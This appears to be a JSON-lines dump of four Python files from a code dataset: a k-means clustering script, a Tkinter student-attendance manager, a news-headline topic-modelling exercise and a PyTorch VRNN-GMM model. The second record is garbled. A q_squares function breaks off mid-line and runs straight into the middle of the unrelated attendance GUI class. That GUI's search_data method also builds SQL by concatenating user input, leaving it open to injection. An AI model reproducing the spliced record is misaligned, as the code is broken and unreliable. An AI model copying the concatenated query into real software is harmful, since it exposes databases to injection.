+{"seq_id":"556923108","text":"# Pedro Sanchez\n\n# ==================================================\n# IMPORTS\n# ==================================================\n\nimport numpy as np\nimport math\n\nfrom sklearn.cluster import MiniBatchKMeans, KMeans\nfrom sklearn.metrics.pairwise import euclidean_distances\n\n# ==================================================\n# DEFINE CONSTANTS\n# ==================================================\n\nNUM_DATASET_INSTANCES = 581012\nNUM_TRAINING_INSTANCES = 15120\nNUM_TESTING_INSTANCES = 565892\n\nNUM_FEATURES = 54 + 1\n\nTRAIN_FILE = \"covtype_training.txt\"\nTEST_FILE = \"covtype_testing.txt\"\n\n# ==================================================\n# PARSE DATA FUNCTIONS\n# ==================================================\n\ndef formatFileIntoNumpy(filename):\n\t\n\trawData = open(filename,\"r\")\n\tlines = rawData.read().split(\"\\n\")\n\n\tdata_list = []\n\ty_list = []\n\n\tfor i in range(len(lines)):\n\t\tstring = lines[i].split(\",\")\n\t\ty_list.append(string[NUM_FEATURES-1:])\n\t\tdata_list.append(string[:-1])\n\n\tx = np.ones((len(lines),NUM_FEATURES))\n\ty = np.ones((len(lines),1))\n\n\tfor i in range(len(lines)):\n\t\ty[i] = y_list[i]\n\t\tfor j in range(NUM_FEATURES-1):\n\t\t\tx[i][j] = data_list[i][j]\n\n\treturn x,y\n\n\ndef getData(train_fname, test_fname):\n\tx_train, y_train = formatFileIntoNumpy(train_fname)\n\tx_test, y_test = formatFileIntoNumpy(test_fname)\n\treturn x_train, y_train, x_test, y_test\n\n# ==================================================\n# HELPER FUNCTIONS\n# ==================================================\n\ndef getClusterToLabelMapping(cxl,n):\n\t\n\thi, hiIndex = 0,0\n\tlabel_mappings = [[],[],[],[],[],[],[]]\n\n\tfor i in range(n):\n\t\thi = cxl[i][0]\n\t\tfor j in range(1,n):\n\t\t\tif(hi < cxl[i][j]):\n\t\t\t\thi = cxl[i][j]\n\t\tfor j in range(n):\n\t\t\tif( hi == cxl[i][j] ):\n\t\t\t\tlabel_mappings[i].append(j)\n\n\treturn label_mappings\n\n# ==================================================\n# EXECUTE\n# ==================================================\n\nprint(\"...\")\nx_train, y_train, x_test, y_test = getData(TRAIN_FILE, TEST_FILE)\n\nnum_clusters = 2\n\nwhile( num_clusters <= 3 ):\n\t#fit k_means over training data\n\tk_means = KMeans(n_clusters=num_clusters, init='k-means++', n_init=10).fit(x_train)\n\n\tcentroids = np.ones((num_clusters, NUM_FEATURES))\n\tcentroids = k_means.cluster_centers_\n\n\tprint(centroids)\n\n\ttraining_error = 0.0\n\ttesting_error = 0.0\n\n\t#get cluster predictions based on fit over training data\n\tclusters_train = k_means.predict(x_train)\n\n\n\n\tfor i in range(len(clusters_train)):\n\t\tprint(\"x_train[i]\")\n\t\tprint(x_train[i])\n\t\tprint(\"centroids[clusters_train[i]\")\n\t\tprint(centroids[clusters_train[i]])\n\t\tprint(\"(x_train[i]-centroids[clusters_train[i]])\")\n\t\tprint((x_train[i]-centroids[clusters_train[i]]))\n\t\tprint(\"(x_train[i]-centroids[clusters_train[i]]).transpose()\")\n\t\tprint((x_train[i]-centroids[clusters_train[i]]).transpose())\n\t\tprint(\"np.dot((x_test[i]-centroids[clusters_test[i]]),(x_test[i]-centroids[clusters_test[i]]).transpose())\")\n\t\tprint(np.dot((x_train[i]-centroids[clusters_train[i]]),(x_train[i]-centroids[clusters_train[i]]).transpose()))\n\t\tprint(\"\\n\\n\\n\\n\\n\\n\")\n\t\ttraining_error += np.dot((x_train[i]-centroids[clusters_train[i]]),(x_train[i]-centroids[clusters_train[i]]).transpose())\n\ttraining_error /= NUM_TRAINING_INSTANCES\n\t\n\tclusters_test = k_means.predict(x_test)\n\tfor i in range(len(clusters_test)):\n\t\ttesting_error += np.dot((x_test[i]-centroids[clusters_test[i]]),(x_test[i]-centroids[clusters_test[i]]).transpose())\n\ttesting_error /= NUM_TESTING_INSTANCES\n\t\n\tprint(str(num_clusters)+\",\\t\"+str(training_error)+\",\\t\"+str(testing_error))\n\n\tnum_clusters+=1\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Classifying:Clustering_ForestCoverType_Project/covtype_clustering_error.py","file_name":"covtype_clustering_error.py","file_ext":"py","file_size_in_byte":3612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"213334103","text":"\r\nlenght_edge=[]\r\ndef q_squares(lenght, widht, n=0):\r\n while lenght!=0 or widht!=0:\r\n if lenght==widht:\r\n lenght_edge.append(1)\r\n return q_squares(lenght-1, widht - 1, n + 1)\r\n if lenght\", self.showdata_into_entry)\n\n def calc1(self):\n self.calc = Calendar(self.wn, selectmode=\"day\", date_pattern=\"yyyy/mm/dd\")\n self.calc.place(x=520, y=345)\n def getvalue1(self):\n self.from_date_var.set(self.calc.get_date())\n\n def getvalue2(self):\n self.to_date_var.set(self.calc.get_date())\n\n def view_window(self):\n self.screen = Tk()\n self.screen.geometry(\"825x723+680+90\")\n self.screen.config(bg=\"light green\")\n # =====first frame inside view window=======\n self.view_frame = Frame(self.screen, bd=5, bg=\"white\", relief=RIDGE)\n self.view_frame.place(x=10,y=130,width=805,height=580)\n # ========searching======\n lbl_search = Label(self.screen, text=\"Search By:\", font=(\"times new roman\", 25, \"bold\"), fg=\"maroon\",\n bg=\"light green\")\n lbl_search.grid(row=0, column=0, sticky=\"w\", padx=10, pady=10)\n self.combo_search = ttk.Combobox(self.screen, width=13,\n font=(\"times new roman\", 13, \"bold\"), state=\"readonly\")\n self.combo_search[\"values\"] = (\"First_Name\")\n self.combo_search.grid(row=0, column=1, padx=10, pady=10)\n self.search_ent = Entry(self.screen, font=(\"arial\", 12, \"bold\"), bd=1, relief=GROOVE)\n self.search_ent.grid(row=0, column=2, padx=10, pady=10)\n search_btn = Button(self.screen, text=\"Search\", font=(\"times new roman\", 15, \"bold\"), bd=5, fg=\"black\",\n bg=\"white\",\n width=8,command=self.search_data1)\n search_btn.grid(row=0, column=3, padx=10, pady=10)\n searchall_btn = Button(self.screen, text=\"Search All\", font=(\"times new roman\", 15, \"bold\"), bd=5,\n fg=\"black\",\n bg=\"white\",\n width=8,command=self.show_table)\n searchall_btn.grid(row=0, column=4, padx=10, pady=10)\n # =======sorting==========\n lbl_sort = Label(self.screen, text=\"Sort By:\", font=(\"times new roman\", 25, \"bold\"), fg=\"black\",\n bg=\"light green\")\n lbl_sort.place(x=10, y=70)\n combo_sort = ttk.Combobox(self.screen, width=13,\n font=(\"times new roman\", 13, \"bold\"), state=\"readonly\")\n combo_sort[\"values\"] = (\"Student_ID_No\")\n combo_sort.place(x=140, y=76, width=200)\n sort_btn = Button(self.screen, text=\"Sort\", font=(\"times new roman\", 15, \"bold\"), bd=5, fg=\"black\",\n bg=\"yellow\",\n width=8,command=self.sorting)\n sort_btn.place(x=380, y=70)\n #======scrollbar=========\n scroll_x = Scrollbar(self.view_frame, orient=HORIZONTAL)\n scroll_y = Scrollbar(self.view_frame, orient=VERTICAL)\n self.stu_table = ttk.Treeview(self.view_frame, columns=(\"Student_ID_No\",\n \"First_Name\", \"Last_Name\", \"From\",\"To\",\"Total Number of days\",\n \"Number of days present\",\"Number of days absent\"),\n xscrollcommand=scroll_x.set,\n yscrollcommand=scroll_y.set)\n\n scroll_x.pack(side=BOTTOM, fill=X)\n scroll_y.pack(side=RIGHT, fill=Y)\n scroll_x.config(command=self.stu_table .xview)\n scroll_y.config(command=self.stu_table .yview)\n self.stu_table .heading(\"Student_ID_No\", text=\"Student_ID_No\")\n self.stu_table .heading(\"First_Name\", text=\"First_Name\")\n self.stu_table .heading(\"Last_Name\", text=\"Last_Name\")\n self.stu_table .heading(\"From\", text=\"From\")\n self.stu_table .heading(\"To\", text=\"To\")\n self.stu_table .heading(\"Total Number of days\", text=\"Total Number of days\")\n self.stu_table .heading(\"Number of days present\",text=\"Number of days present\")\n self.stu_table .heading(\"Number of days absent\", text=\"Number of days absent\")\n self.stu_table ['show'] = \"headings\"\n self.stu_table .pack(fill=BOTH, expand=1)\n self.show_table()\n self.stu_table .bind(\"\", self.displaydata_into_entry)\n\n def search_data(self):\n try:\n query = \"select ID_No,First_Name,Last_Name from tbl_student where \" + str(\n self.combo_search1.get()) + \"=\" + str(self.search_ent1.get())\n row = self.con_studentattendence.select1(query)\n # print(row)\n if len(row) != 0:\n self.sattent_table.delete(*self.sattent_table.get_children())\n for i in row:\n self.sattent_table.insert('', END, values=i)\n\n\n except Exception as es:\n\n messagebox.showerror(\"error\",f\"error due to {str(es)}\")\n\n\n def showdata_into_entry(self,ev):\n row_cursor=self.sattent_table.focus()\n contents=self.sattent_table.item(row_cursor)\n row=contents['values']\n self.ent_id.delete(0, END)\n self.ent_id.insert(END,row[0])\n self.ent_Name.delete(0, END)\n self.ent_Name.insert(END,row[1])\n self.ent_lname.delete(0, END)\n self.ent_lname.insert(END,row[2])\n\n\n def add(self):\n if self.ent_id.get()==\"\" or self.ent_Name.get()==\"\" or self.ent_lname.get()==\"\" or \\\n self.from_date_var.get()==\"\" or self.to_date_var.get()==\"\" or self.ent_totalday.get()==\"\" or \\\n self.ent_present.get()==\"\" or self.ent_absent.get()==\"\":\n messagebox.showerror(\"Error\",\"All fields are required\")\n\n\n elif self.ent_id.get().isalpha() or self.ent_totalday.get().isalpha() or self.ent_present.get().isalpha() or \\\n self.ent_absent.get().isalpha():\n messagebox.showerror(\"Error\", \"Alphabetical value is not allowed in staff id,total days, present days and absent days\")\n else:\n try:\n\n stuattendance_obj=Model_studentattendance(self.ent_id.get(),self.ent_Name.get(),\n self.ent_lname.get(),self.from_date_var.get(),\n self.to_date_var.get(),self.ent_totalday.get(),\n self.ent_present.get(),self.ent_absent.get())\n query=\"insert into tbl_student_attendance values(%s,%s,%s,%s,%s,%s,%s,%s);\"\n values=(stuattendance_obj.get_ID_No(),stuattendance_obj.get_First_Name(),stuattendance_obj.get_Last_Name(),\n stuattendance_obj.get_From(),stuattendance_obj.get_To(),stuattendance_obj.get_Total_days(),\n stuattendance_obj.get_Days_present(),stuattendance_obj.get_Days_absent())\n self.con_studentattendence.insert(query,values)\n messagebox.showinfo(\"error\",\"Data inserted in database successfully\")\n self.clear()\n\n\n except Exception as e:\n messagebox.showerror(\"error\",f\"error due to {str(e)}\")\n\n\n def show_table(self):\n query_select=\"select * from tbl_student_attendance;\"\n row1=self.con_studentattendence.select1(query_select)\n if len(row1)!=0:\n self.stu_table.delete(*self.stu_table.get_children())\n for i in row1:\n self.stu_table.insert('',END,values=i)\n\n def clear(self):\n self.ent_id.delete(0,END)\n self.ent_Name.delete(0, END)\n self.ent_lname.delete(0, END)\n self.from_date_var.set(\"\")\n self.to_date_var.set(\"\")\n self.ent_totalday.delete(0, END)\n self.ent_present.delete(0,END)\n self.ent_absent.delete(0,END)\n\n def displaydata_into_entry(self,ev):\n row_cursor=self.stu_table.focus()\n contents=self.stu_table.item(row_cursor)\n row=contents['values']\n self.ent_id.delete(0, END)\n self.ent_id.insert(END, row[0])\n self.ent_Name.delete(0, END)\n self.ent_Name.insert(END, row[1])\n self.ent_lname.delete(0, END)\n self.ent_lname.insert(END, row[2])\n self.from_date_var.set(row[3])\n self.to_date_var.set(row[4])\n self.ent_totalday.delete(0, END)\n self.ent_totalday.insert(END, row[5])\n self.ent_present.delete(0, END)\n self.ent_present.insert(END, row[6])\n self.ent_absent.delete(0, END)\n self.ent_absent.insert(END, row[7])\n\n def delete(self):\n if self.ent_id.get() == \"\":\n messagebox.showerror(\"error\", \"please enter id nnumber to delete\")\n else:\n\n try:\n query = \"delete from tbl_student_attendance where Student_ID_No=%s;\"\n stuattendance_obj=Model_studentattendance(self.ent_id.get(),self.ent_Name.get(),\n self.ent_lname.get(),self.from_date_var.get(),\n self.to_date_var.get(),self.ent_totalday.get(),\n self.ent_present.get(),self.ent_absent.get())\n value = (stuattendance_obj.get_ID_No(),)\n self.con_studentattendence.delete(query, value)\n messagebox.showinfo(\"success\", \"data deleted successfully\",parent=self.screen)\n self.show_table()\n self.clear()\n\n except Exception as es:\n messagebox.showerror(\"error\", f\"error due to {str(es)} \")\n\n def update(self):\n if self.ent_id.get() == \"\":\n messagebox.showerror(\"error\", \"please enter the student id to update student data\")\n else:\n try:\n stuattendance_obj=Model_studentattendance(self.ent_id.get(),self.ent_Name.get(),self.ent_lname.get(),\n self.from_date_var.get(),self.to_date_var.get(),self.ent_totalday.get(),\n self.ent_present.get(),self.ent_absent.get())\n query = \"update tbl_student_attendance set From_date=%s,To_date=%s,Total_days=%s,Present_days=%s,Absent_days=%s where \" \\\n \"Student_ID_No=%s;\"\n values = (\n stuattendance_obj.get_From(),stuattendance_obj.get_To(),stuattendance_obj.get_Total_days(),\n stuattendance_obj.get_Days_present(),stuattendance_obj.get_Days_absent(),stuattendance_obj.get_ID_No())\n self.con_studentattendence.update(query, values)\n messagebox.showinfo(\"success\", \"Data updated successfully\",parent=self.screen)\n self.show_table()\n self.clear()\n\n\n except Exception as es:\n messagebox.showerror(\"error\", f\"error due to {str(es)} \")\n\n def sorting(self):\n query = \"select * from tbl_student_attendance;\"\n records = self.con_studentattendence.select1(query)\n data_list1 = []\n for row in records:\n data_list1.append(row)\n d=self.bubblesort_ascending(data_list1)\n\n\n def bubblesort_ascending(self, list):\n for j in range(len(list)-1):\n for i in range(len(list)-1):\n if list[i] > list[i + 1]:\n list[i],list[i+1]=list[i+1],list[i]\n messagebox.showinfo(\"success\",\"list has been sorted in ascending order bu student id number\",parent=self.screen)\n if len(list)!=0:\n self.stu_table.delete(*self.stu_table.get_children())\n for i in list:\n self.stu_table.insert('',END,values=i)\n\n def search_data1(self):\n query = \"select First_Name from tbl_student_attendance;\"\n records = self.con_studentattendence.select1(query)\n data_list = []\n for row in records:\n data_list.append(row[0])\n ans = self.linear_search(data_list, self.search_ent.get())\n def linear_search(self, data, item):\n for i in data:\n if i == item:\n messagebox.showinfo('Success', 'congrats Name exists in this list',parent=self.screen)\n query1 =\"select * from tbl_student_attendance where First_Name=%s;\"\n values1=(self.search_ent.get(),)\n records1 = self.con_studentattendence.select(query1,values1)\n if len(records1) != 0:\n self.stu_table.delete(*self.stu_table.get_children())\n for row in records1:\n self.stu_table.insert('', END, values=row)\n\n break\n\n else:\n messagebox.showerror('error', 'sorry this Name doesnot exist in this list',parent=self.screen)\n\n\n\n\n# window=Tk()\n# Attendance(window)\n# window.mainloop()","sub_path":"front_end1/Student_attendance_section.py","file_name":"Student_attendance_section.py","file_ext":"py","file_size_in_byte":21954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"233687503","text":"# --------------\n# import libraries\nimport numpy as np\nimport pandas as pd\nimport re\n\n# Load data\n##Loading the CSV data onto a Pandas dataframe, and then subsetting as suggested\ndata = pd.read_csv(path, parse_dates = [0], infer_datetime_format = True)\n\n# Sort headlines by date of publish\n##Sorting the data as per publishing date\ndata.sort_values(\"publish_date\", inplace = True)\n\n# Retain only alphabets\n##Retaining only the alphabets\ndata[\"headline_text\"] = data[\"headline_text\"].apply(lambda x: re.sub(\"[^a-zA-Z]\", \" \", x))\n\n# Look at the shape of data\n##Checking the shape of the data\ndata.shape\n\n# Look at the first first five observations\n##Checking the top 5 rows ofthe data\ndata.head()\n\n\n\n\n# --------------\n# import libraries\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport operator\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n# Initialize CountVectorizer\n# Transform headlines\n##Intantiating a CountVectorizer object, and fit-transforming the \"headline_text\" column\nvectorizer = CountVectorizer(stop_words = \"english\", max_features = 30000)\nnews = vectorizer.fit_transform(data[\"headline_text\"])\n\n# initialize empty dictionary\n# initialize with 0\n##Initializing an empty dictionary and i as 0\nwords = {}\ni = 0\n\n# Number of time every feature appears over the entire document\n##Calculating the number of times every word/feature appears in the corpus\nsums = np.array(np.sum(news, axis=0)).flatten()\n\n# Loop to map 'sums' to its word\n##Creating a for loop to populate the above dictionary\nfor word in vectorizer.get_feature_names():\n words[word] = sums[i]\n i += 1\n \n# Top 20 most occuring words\n##Seggregating the 20 most occuring words, and capturing tehse and their values\ntop_20 = sorted(words.items(), key = operator.itemgetter(1), reverse = True)[:20]\ntop_20_words = [i[0] for i in top_20]\ntop_20_values = [i[1] for i in top_20]\n\n# Display top 20 words\n##Plotting the 20 most occuring words\nsns.barplot(x = top_20_words, y = top_20_values)\nplt.title(\"Top 20 Words\")\nplt.xlabel(\"Words\")\nplt.ylabel(\"Values\")\nplt.show()\n\n\n\n\n# --------------\n# import libraries\nfrom sklearn.decomposition import TruncatedSVD, LatentDirichletAllocation\nimport pprint\n\n# number of topics\n##Setting a number for topic count\nn_topics = 5\n\n# initialize SVD\n# fit and transform 'news'\n##Intantiating a truncated SVD model, and fit-transforming the vectorized data\nlsa_model = TruncatedSVD(n_components = n_topics, random_state = 2)\nlsa_topic_matrix = lsa_model.fit_transform(news)\n\n\n'''We are not interested in knowing every word of a topic.\nInstead, we want to look at the first (lets say) 10 words\nof a topic'''\n\n\n# empty dictionary to store topic number and top 10 words for every topic \n# loop over every topic\n##Initializing an empty dictionary to iteratively capture topic number and top 10 words for every topic\ntopic_lsa = {}\nfor i, topic in enumerate(lsa_model.components_):\n key = \"Topic {}\".format(i)\n value = [(vectorizer.get_feature_names()[i] + \"*\" + str(topic[i])) for i in topic.argsort()[:-11:-1]]\n topic_lsa[key] = \" + \".join(value)\n \n# pretty print topics\n##Outputting the topic dictionary\npprint.pprint(topic_lsa)\n\n\n\n\n# --------------\n# import libraries\nimport nltk\nimport gensim\nimport gensim.corpora as corpora\nfrom gensim.utils import simple_preprocess\nfrom gensim.models import CoherenceModel\nfrom gensim.models.ldamodel import LdaModel\nfrom gensim.utils import simple_preprocess\nfrom nltk import word_tokenize\nfrom nltk.corpus import stopwords \nfrom nltk.stem.wordnet import WordNetLemmatizer\nimport string\nimport matplotlib.pyplot as plt\n\n# Function to clean data from stopwords, punctuation marks and lemmatize\ndef clean(doc):\n stop_free = \" \".join([i for i in doc.lower().split() if i not in stop])\n punc_free = ''.join(ch for ch in stop_free if ch not in exclude)\n normalized = \" \".join(lemma.lemmatize(word) for word in punc_free.split())\n return normalized\n\n\n# Code starts here\n\n# stopwords list\n##Intantiating a stopwords object\nstop = set(stopwords.words(\"english\"))\n\n# string punctuations\n##Setting up a punctuation excluder\nexclude = set(string.punctuation)\n\n# lemmatizer\n##Intantiating a word-lemmatizer object\nlemma = WordNetLemmatizer()\n\n# convert headlines to list\n##Outputting the \"headlines_text\" column as a list\nheadlines = data[\"headline_text\"].tolist()\n\n# cleaned data\n##Cleaning/pre-processing the headlines data\nclean_headlines = [clean(doc).split() for doc in headlines]\n\n# Creating the term dictionary of our courpus, where every unique term is assigned an index\n##Creating the id2word dictionary\ndictionary = corpora.Dictionary(clean_headlines)\n\n# Converting list of documents (corpus) into Document Term Matrix using dictionary prepared above.\n##Creating a word corpus\ndoc_term_matrix = [dictionary.doc2bow(doc) for doc in clean_headlines]\n\n# build LDA model\n# extract topics for headlines\n# pprint topics\n##Intantiating the LDA model, and printing the 5 topics containing only the 10 most relevant words\nlda_model = LdaModel(corpus = doc_term_matrix, num_topics = 5, id2word = dictionary, iterations = 10, random_state = 2)\ntopics = lda_model.print_topics(num_topics = 5, num_words = 10)\npprint.pprint(topics)\n\n# Code ends here\n\n\n\n\n# --------------\n# Can take a long time to run\n# coherence score\n##Intantiating a coherence object, and outputting the coherence score\ncoherence_model_lda = CoherenceModel(model = lda_model, texts = clean_headlines, dictionary = dictionary, coherence = \"c_v\")\ncoherence_lda = coherence_model_lda.get_coherence()\nprint(coherence_lda)\n\n# Function to calculate coherence values\n##Initializing two empty lists, and defining a function to capture coherence values by number of topics\ncoherence_values = []\nmodel_list = []\ndef compute_coherence_values(dictionary, corpus, texts, limit, start = 2, step = 3):\n \"\"\"\n Compute c_v coherence for various number of topics\n\n Parameters:\n ----------\n dictionary : Gensim dictionary\n corpus : Gensim corpus\n texts : List of input texts\n limit : Max num of topics\n\n Returns:\n -------\n model_list : List of LDA topic models\n coherence_values : Coherence values corresponding to the LDA model with respective number of topics\n \"\"\"\n for num_topics in range(2, 50, 6):\n Lda = gensim.models.ldamodel.LdaModel\n model = Lda(doc_term_matrix, num_topics = num_topics, random_state = 2, id2word = dictionary, iterations = 10)\n model_list.append(model)\n coherencemodel = CoherenceModel(model = model, texts = texts, dictionary = dictionary, coherence = \"c_v\")\n coherence_values.append(coherencemodel.get_coherence())\n return model_list, coherence_values\n\nmodel_list, coherence_values = compute_coherence_values(dictionary = dictionary, corpus = doc_term_matrix, texts = clean_headlines, start = 2, limit = 50, step = 6)\n\n# Plotting\n##Plotting coherence values against the number of topics\nx = range(2, 50, 6)\nplt.plot(x, coherence_values)\nplt.xlabel(\"Num Topics\")\nplt.ylabel(\"Coherence score\")\nplt.show()\n\n\n","sub_path":"Topic-Modelling/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":7044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"497433356","text":"import torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nimport torch.distributions as tdist\n\n\"\"\"implementation of the Variational Recurrent Neural Network (VRNN-GMM) from https://arxiv.org/abs/1506.02216 using\nGaussian mixture distributions with fixed number of mixtures for inference, prior, and generating models.\"\"\"\n\n\nclass VRNN_GMM(nn.Module):\n def __init__(self, param, device, bias=False):\n super(VRNN_GMM, self).__init__()\n\n self.y_dim = param.y_dim\n self.u_dim = param.u_dim\n self.h_dim = param.h_dim\n self.z_dim = param.z_dim\n self.n_layers = param.n_layers\n self.n_mixtures = param.n_mixtures\n self.device = device\n\n # feature-extracting transformations (phi_y, phi_u and phi_z)\n self.phi_y = nn.Sequential(\n nn.Linear(self.y_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim))\n self.phi_u = nn.Sequential(\n nn.Linear(self.u_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim))\n self.phi_z = nn.Sequential(\n nn.Linear(self.z_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim))\n\n # encoder function (phi_enc) -> Inference\n self.enc = nn.Sequential(\n nn.Linear(self.h_dim + self.h_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim),\n nn.ReLU(), )\n self.enc_mean = nn.Sequential(\n nn.Linear(self.h_dim, self.z_dim))\n self.enc_logvar = nn.Sequential(\n nn.Linear(self.h_dim, self.z_dim),\n nn.ReLU(), )\n\n # prior function (phi_prior) -> Prior\n self.prior = nn.Sequential(\n nn.Linear(self.h_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim),\n nn.ReLU(), )\n self.prior_mean = nn.Sequential(\n nn.Linear(self.h_dim, self.z_dim))\n self.prior_logvar = nn.Sequential(\n nn.Linear(self.h_dim, self.z_dim),\n nn.ReLU(), )\n\n # decoder function (phi_dec) -> Generation\n self.dec = nn.Sequential(\n nn.Linear(self.h_dim + self.h_dim, self.h_dim),\n nn.ReLU(),\n nn.Linear(self.h_dim, self.h_dim),\n nn.ReLU(), )\n self.dec_mean = nn.Sequential(\n nn.Linear(self.h_dim, self.y_dim * self.n_mixtures), )\n self.dec_logvar = nn.Sequential(\n nn.Linear(self.h_dim, self.y_dim * self.n_mixtures),\n nn.ReLU(), )\n self.dec_pi = nn.Sequential(\n nn.Linear(self.h_dim, self.y_dim * self.n_mixtures),\n nn.Softmax(dim=1)\n )\n\n # recurrence function (f_theta) -> Recurrence\n self.rnn = nn.GRU(self.h_dim + self.h_dim, self.h_dim, self.n_layers, bias)\n\n def forward(self, u, y):\n\n batch_size = y.size(0)\n seq_len = y.shape[-1]\n\n # allocation\n loss = 0\n # initialization\n h = torch.zeros(self.n_layers, batch_size, self.h_dim, device=self.device)\n\n # for all time steps\n for t in range(seq_len):\n # feature extraction: y_t\n phi_y_t = self.phi_y(y[:, :, t])\n # feature extraction: u_t\n phi_u_t = self.phi_u(u[:, :, t])\n\n # encoder: y_t, h_t -> z_t\n enc_t = self.enc(torch.cat([phi_y_t, h[-1]], 1))\n enc_mean_t = self.enc_mean(enc_t)\n enc_logvar_t = self.enc_logvar(enc_t)\n\n # prior: h_t -> z_t (for KLD loss)\n prior_t = self.prior(h[-1])\n prior_mean_t = self.prior_mean(prior_t)\n prior_logvar_t = self.prior_logvar(prior_t)\n\n # sampling and reparameterization: get a new z_t\n temp = tdist.Normal(enc_mean_t, enc_logvar_t.exp().sqrt())\n z_t = tdist.Normal.rsample(temp)\n # feature extraction: z_t\n phi_z_t = self.phi_z(z_t)\n\n # decoder: h_t, z_t -> y_t\n dec_t = self.dec(torch.cat([phi_z_t, h[-1]], 1))\n dec_mean_t = self.dec_mean(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n dec_logvar_t = self.dec_logvar(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n dec_pi_t = self.dec_pi(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n\n # recurrence: u_t+1, z_t -> h_t+1\n _, h = self.rnn(torch.cat([phi_u_t, phi_z_t], 1).unsqueeze(0), h)\n\n # computing the loss\n KLD = self.kld_gauss(enc_mean_t, enc_logvar_t, prior_mean_t, prior_logvar_t)\n loss_pred = self.loglikelihood_gmm(y[:, :, t], dec_mean_t, dec_logvar_t, dec_pi_t)\n loss += - loss_pred + KLD\n\n return loss\n\n def generate(self, u):\n # get the batch size\n batch_size = u.shape[0]\n # length of the sequence to generate\n seq_len = u.shape[-1]\n\n # allocation\n sample = torch.zeros(batch_size, self.y_dim, seq_len, device=self.device)\n sample_mu = torch.zeros(batch_size, self.y_dim, seq_len, device=self.device)\n sample_sigma = torch.zeros(batch_size, self.y_dim, seq_len, device=self.device)\n\n h = torch.zeros(self.n_layers, batch_size, self.h_dim, device=self.device)\n\n # for all time steps\n for t in range(seq_len):\n # feature extraction: u_t+1\n phi_u_t = self.phi_u(u[:, :, t])\n\n # prior: h_t -> z_t\n prior_t = self.prior(h[-1])\n prior_mean_t = self.prior_mean(prior_t)\n prior_logvar_t = self.prior_logvar(prior_t)\n\n # sampling and reparameterization: get new z_t\n temp = tdist.Normal(prior_mean_t, prior_logvar_t.exp().sqrt())\n z_t = tdist.Normal.rsample(temp)\n # feature extraction: z_t\n phi_z_t = self.phi_z(z_t)\n\n # decoder: z_t, h_t -> y_t\n dec_t = self.dec(torch.cat([phi_z_t, h[-1]], 1))\n dec_mean_t = self.dec_mean(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n dec_logvar_t = self.dec_logvar(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n dec_pi_t = self.dec_pi(dec_t).view(batch_size, self.y_dim, self.n_mixtures)\n\n # store the samples\n sample[:, :, t], sample_mu[:, :, t], sample_sigma[:, :, t] = self._reparameterized_sample_gmm(dec_mean_t,\n dec_logvar_t,\n dec_pi_t)\n\n # recurrence: u_t+1, z_t -> h_t+1\n _, h = self.rnn(torch.cat([phi_u_t, phi_z_t], 1).unsqueeze(0), h)\n\n return sample, sample_mu, sample_sigma\n\n def _reparameterized_sample_gmm(self, mu, logvar, pi):\n\n # select the mixture indices\n alpha = torch.distributions.Categorical(pi).sample()\n\n # select the mixture indices\n idx = logvar.shape[-1]\n raveled_index = torch.arange(len(alpha.flatten()), device=self.device) * idx + alpha.flatten()\n logvar_sel = logvar.flatten()[raveled_index]\n mu_sel = mu.flatten()[raveled_index]\n\n # get correct dimensions\n logvar_sel = logvar_sel.view(logvar.shape[:-1])\n mu_sel = mu_sel.view(mu.shape[:-1])\n\n # resample\n temp = tdist.Normal(mu_sel, logvar_sel.exp().sqrt())\n sample = tdist.Normal.rsample(temp)\n\n return sample, mu_sel, logvar_sel.exp().sqrt()\n\n def loglikelihood_gmm(self, x, mu, logvar, pi):\n # init\n loglike = 0\n\n # for all data channels\n for n in range(x.shape[1]):\n # likelihood of a single mixture at evaluation point\n pred_dist = tdist.Normal(mu[:, n, :], logvar[:, n, :].exp().sqrt())\n x_mod = torch.mm(x[:, n].unsqueeze(1), torch.ones(1, self.n_mixtures, device=self.device))\n like = pred_dist.log_prob(x_mod)\n # weighting by probability of mixture and summing\n temp = (pi[:, n, :] * like)\n temp = temp.sum()\n # log-likelihood added to previous log-likelihoods\n loglike = loglike + temp\n\n return loglike\n\n @staticmethod\n def kld_gauss(mu_q, logvar_q, mu_p, logvar_p):\n # Goal: Minimize KL divergence between q_pi(z|xi) || p(z|xi)\n # This is equivalent to maximizing the ELBO: - D_KL(q_phi(z|xi) || p(z)) + Reconstruction term\n # This is equivalent to minimizing D_KL(q_phi(z|xi) || p(z))\n term1 = logvar_p - logvar_q - 1\n term2 = (torch.exp(logvar_q) + (mu_q - mu_p) ** 2) / torch.exp(logvar_p)\n kld = 0.5 * torch.sum(term1 + term2)\n\n return kld\n","sub_path":"models/model_vrnn_gmm.py","file_name":"model_vrnn_gmm.py","file_ext":"py","file_size_in_byte":8744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
